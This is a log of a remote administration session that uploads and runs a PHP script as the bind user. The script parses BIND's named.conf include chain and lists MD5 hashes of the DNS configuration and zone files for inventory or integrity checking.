MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:00:14: Establishing a connection
2026-04-23 13:00:14: 

PUT: /tmp/pkp230333

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:00:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp230333; rm /tmp/pkp230333'

2026-04-23 13:00:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
